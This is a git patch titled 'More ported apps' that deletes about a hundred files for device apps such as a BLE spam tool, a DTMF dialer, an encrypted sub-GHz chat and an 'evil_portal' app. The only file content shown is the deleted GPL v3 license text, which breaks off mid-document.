From ef89a04a9f5d928bfdb5ff272ae8623c9e36c0cc Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 16 Oct 2023 00:40:19 +0100 Subject: [PATCH] More ported apps --- applications/external/ble_spam/LICENSE | 674 ----------------- .../external/ble_spam/application.fam | 15 - applications/external/ble_spam/ble_spam.c | 390 ---------- .../external/ble_spam/ble_spam_10px.png | Bin 4238 -> 0 bytes .../external/ble_spam/icons/android.png | Bin 5160 -> 0 bytes .../external/ble_spam/icons/apple.png | Bin 4258 -> 0 bytes applications/external/ble_spam/icons/ble.png | Bin 5165 -> 0 bytes .../external/ble_spam/icons/windows.png | Bin 4478 -> 0 bytes .../external/ble_spam/protocols/_base.h | 17 - .../external/ble_spam/protocols/_registry.c | 9 - .../external/ble_spam/protocols/_registry.h | 15 - .../external/ble_spam/protocols/continuity.c | 276 ------- .../external/ble_spam/protocols/continuity.h | 36 - .../external/ble_spam/protocols/fastpair.c | 68 -- .../external/ble_spam/protocols/fastpair.h | 11 - .../external/ble_spam/protocols/swiftpair.c | 54 -- .../external/ble_spam/protocols/swiftpair.h | 11 - applications/external/cntdown_timer/app.c | 71 -- applications/external/cntdown_timer/app.h | 22 - .../external/cntdown_timer/application.fam | 19 - .../external/cntdown_timer/cntdown_timer.png | Bin 306 -> 0 bytes .../external/cntdown_timer/utils/utils.c | 34 - .../external/cntdown_timer/utils/utils.h | 12 - .../cntdown_timer/views/countdown_view.c | 349 --------- .../cntdown_timer/views/countdown_view.h | 59 -- applications/external/counter/application.fam | 16 - applications/external/counter/counter.c | 109 --- .../external/counter/icons/counter_icon.png | Bin 182 -> 0 bytes applications/external/dtmf_dolphin/LICENSE | 674 ----------------- .../external/dtmf_dolphin/application.fam | 17 - .../external/dtmf_dolphin/dtmf_dolphin.c | 89 --- .../dtmf_dolphin/dtmf_dolphin_audio.c | 270 ------- .../dtmf_dolphin/dtmf_dolphin_audio.h | 54 -- .../external/dtmf_dolphin/dtmf_dolphin_data.c | 220 ------ .../external/dtmf_dolphin/dtmf_dolphin_data.h | 36 - .../dtmf_dolphin/dtmf_dolphin_event.h | 21 - .../external/dtmf_dolphin/dtmf_dolphin_hal.c | 52 -- .../external/dtmf_dolphin/dtmf_dolphin_hal.h | 33 - .../external/dtmf_dolphin/dtmf_dolphin_i.h | 42 -- applications/external/dtmf_dolphin/phone.png | Bin 8723 -> 0 bytes .../dtmf_dolphin/scenes/dtmf_dolphin_scene.c | 30 - .../dtmf_dolphin/scenes/dtmf_dolphin_scene.h | 29 - .../scenes/dtmf_dolphin_scene_config.h | 2 - .../scenes/dtmf_dolphin_scene_dialer.c | 49 -- .../scenes/dtmf_dolphin_scene_start.c | 94 --- .../dtmf_dolphin/views/dtmf_dolphin_common.h | 10 - .../dtmf_dolphin/views/dtmf_dolphin_dialer.c | 350 --------- .../dtmf_dolphin/views/dtmf_dolphin_dialer.h | 18 - applications/external/esubghz_chat/LICENSE | 674 ----------------- .../external/esubghz_chat/application.fam | 15 - .../esubghz_chat/assets/Loading_24.png | Bin 3649 -> 0 bytes .../external/esubghz_chat/assets/Nfc_14px.png | Bin 159 -> 0 bytes .../esubghz_chat/assets/chat_10px.png | Bin 143 -> 0 bytes .../esubghz_chat/assets/chat_14px.png | Bin 195 -> 0 bytes .../external/esubghz_chat/assets/hex_14px.png | Bin 149 -> 0 bytes .../esubghz_chat/assets/keyboard_14px.png | Bin 146 -> 0 bytes .../external/esubghz_chat/assets/u2f_14px.png | Bin 180 -> 0 bytes .../external/esubghz_chat/crypto/aes.c | 440 ----------- .../external/esubghz_chat/crypto/aes.h | 80 -- .../external/esubghz_chat/crypto/gcm.c | 516 ------------- .../external/esubghz_chat/crypto/gcm.h | 181 ----- .../external/esubghz_chat/crypto_wrapper.c | 237 ------ .../external/esubghz_chat/crypto_wrapper.h | 51 -- .../external/esubghz_chat/esubghz_chat.c | 703 ------------------ .../external/esubghz_chat/esubghz_chat_i.h | 124 --- .../esubghz_chat/helpers/nfc_helpers.h | 25 - .../helpers/radio_device_loader.c | 65 -- .../helpers/radio_device_loader.h | 15 - .../scenes/esubghz_chat_chat_box.c | 59 -- .../scenes/esubghz_chat_chat_input.c | 107 --- .../scenes/esubghz_chat_freq_input.c | 108 --- .../scenes/esubghz_chat_hex_key_input.c | 80 -- .../scenes/esubghz_chat_key_display.c | 145 ---- .../scenes/esubghz_chat_key_menu.c | 174 ----- .../scenes/esubghz_chat_key_read_popup.c | 273 ------- .../scenes/esubghz_chat_key_share_popup.c | 124 --- .../scenes/esubghz_chat_pass_input.c | 109 --- .../esubghz_chat/scenes/esubghz_chat_scene.c | 30 - .../esubghz_chat/scenes/esubghz_chat_scene.h | 29 - .../scenes/esubghz_chat_scene_config.h | 9 - applications/external/etch_a_sketch/LICENSE | 674 ----------------- .../external/etch_a_sketch/application.fam | 16 - .../etch_a_sketch/etch-a-sketch-icon.png | Bin 239 -> 0 bytes .../external/etch_a_sketch/etch_a_sketch.c | 275 ------- applications/external/evil_portal/LICENSE.txt | 21 - .../external/evil_portal/application.fam | 14 - .../external/evil_portal/evil_portal_app.c | 146 ---- .../external/evil_portal/evil_portal_app.h | 11 - .../external/evil_portal/evil_portal_app_i.h | 77 -- .../evil_portal/evil_portal_custom_event.h | 9 - .../external/evil_portal/evil_portal_uart.c | 157 ---- .../external/evil_portal/evil_portal_uart.h | 14 - .../evil_portal/helpers/evil_portal_storage.c | 163 ---- .../evil_portal/helpers/evil_portal_storage.h | 26 - .../evil_portal/icons/evil_portal_10px.png | Bin 156 -> 0 bytes .../evil_portal/scenes/evil_portal_scene.c | 30 - .../evil_portal/scenes/evil_portal_scene.h | 29 - .../scenes/evil_portal_scene_config.h | 4 - .../scenes/evil_portal_scene_console_output.c | 157 ---- .../scenes/evil_portal_scene_rename.c | 42 -- .../scenes/evil_portal_scene_select_html.c | 54 -- .../scenes/evil_portal_scene_start.c | 136 ---- 102 files changed, 10785 deletions(-) delete mode 100644 applications/external/ble_spam/LICENSE delete mode 100644 applications/external/ble_spam/application.fam delete mode 100644 applications/external/ble_spam/ble_spam.c delete mode 100644 applications/external/ble_spam/ble_spam_10px.png delete mode 100644 applications/external/ble_spam/icons/android.png delete mode 100644 applications/external/ble_spam/icons/apple.png delete mode 100644 applications/external/ble_spam/icons/ble.png delete mode 100644 applications/external/ble_spam/icons/windows.png delete mode 100644 applications/external/ble_spam/protocols/_base.h delete mode 100644 applications/external/ble_spam/protocols/_registry.c delete mode 100644 applications/external/ble_spam/protocols/_registry.h delete mode 100644 applications/external/ble_spam/protocols/continuity.c delete mode 100644 applications/external/ble_spam/protocols/continuity.h delete mode 100644 applications/external/ble_spam/protocols/fastpair.c delete mode 100644 applications/external/ble_spam/protocols/fastpair.h delete mode 100644 applications/external/ble_spam/protocols/swiftpair.c delete mode 100644 applications/external/ble_spam/protocols/swiftpair.h delete mode 100644 applications/external/cntdown_timer/app.c delete mode 100644 applications/external/cntdown_timer/app.h delete mode 100644 applications/external/cntdown_timer/application.fam delete mode 100644 applications/external/cntdown_timer/cntdown_timer.png delete mode 100644 applications/external/cntdown_timer/utils/utils.c delete mode 100644 applications/external/cntdown_timer/utils/utils.h delete mode 100644 applications/external/cntdown_timer/views/countdown_view.c delete mode 100644 applications/external/cntdown_timer/views/countdown_view.h delete mode 100644 applications/external/counter/application.fam delete mode 100644 applications/external/counter/counter.c delete mode 100644 applications/external/counter/icons/counter_icon.png delete mode 100644 applications/external/dtmf_dolphin/LICENSE delete mode 100644 applications/external/dtmf_dolphin/application.fam delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin.c delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_audio.c delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_audio.h delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_data.c delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_data.h delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_event.h delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_hal.c delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_hal.h delete mode 100644 applications/external/dtmf_dolphin/dtmf_dolphin_i.h delete mode 100644 applications/external/dtmf_dolphin/phone.png delete mode 100644 applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c delete mode 100644 applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h delete mode 100644 applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h delete mode 100644 applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c delete mode 100644 applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c delete mode 100644 applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h delete mode 100644 applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c delete mode 100644 applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h delete mode 100644 applications/external/esubghz_chat/LICENSE delete mode 100644 applications/external/esubghz_chat/application.fam delete mode 100644 applications/external/esubghz_chat/assets/Loading_24.png delete mode 100644 applications/external/esubghz_chat/assets/Nfc_14px.png delete mode 100644 applications/external/esubghz_chat/assets/chat_10px.png delete mode 100644 applications/external/esubghz_chat/assets/chat_14px.png delete mode 100644 applications/external/esubghz_chat/assets/hex_14px.png delete mode 100644 applications/external/esubghz_chat/assets/keyboard_14px.png delete mode 100644 applications/external/esubghz_chat/assets/u2f_14px.png delete mode 100644 applications/external/esubghz_chat/crypto/aes.c delete mode 100644 applications/external/esubghz_chat/crypto/aes.h delete mode 100644 applications/external/esubghz_chat/crypto/gcm.c delete mode 100644 applications/external/esubghz_chat/crypto/gcm.h delete mode 100644 applications/external/esubghz_chat/crypto_wrapper.c delete mode 100644 applications/external/esubghz_chat/crypto_wrapper.h delete mode 100644 applications/external/esubghz_chat/esubghz_chat.c delete mode 100644 applications/external/esubghz_chat/esubghz_chat_i.h delete mode 100644 applications/external/esubghz_chat/helpers/nfc_helpers.h delete mode 100644 applications/external/esubghz_chat/helpers/radio_device_loader.c delete mode 100644 applications/external/esubghz_chat/helpers/radio_device_loader.h delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_chat_box.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_chat_input.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_freq_input.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_hex_key_input.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_key_display.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_key_menu.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_key_read_popup.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_scene.c delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_scene.h delete mode 100644 applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h delete mode 100644 applications/external/etch_a_sketch/LICENSE delete mode 100644 applications/external/etch_a_sketch/application.fam delete mode 100644 applications/external/etch_a_sketch/etch-a-sketch-icon.png delete mode 100644 applications/external/etch_a_sketch/etch_a_sketch.c delete mode 100644 applications/external/evil_portal/LICENSE.txt delete mode 100644 applications/external/evil_portal/application.fam delete mode 100644 applications/external/evil_portal/evil_portal_app.c delete mode 100644 applications/external/evil_portal/evil_portal_app.h delete mode 100644 applications/external/evil_portal/evil_portal_app_i.h delete mode 100644 applications/external/evil_portal/evil_portal_custom_event.h delete mode 100644 applications/external/evil_portal/evil_portal_uart.c delete mode 100644 applications/external/evil_portal/evil_portal_uart.h delete mode 100644 applications/external/evil_portal/helpers/evil_portal_storage.c delete mode 100644 applications/external/evil_portal/helpers/evil_portal_storage.h delete mode 100644 applications/external/evil_portal/icons/evil_portal_10px.png delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene.c delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene.h delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene_config.h delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene_console_output.c delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene_rename.c delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene_select_html.c delete mode 100644 applications/external/evil_portal/scenes/evil_portal_scene_start.c diff --git a/applications/external/ble_spam/LICENSE b/applications/external/ble_spam/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/ble_spam/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU 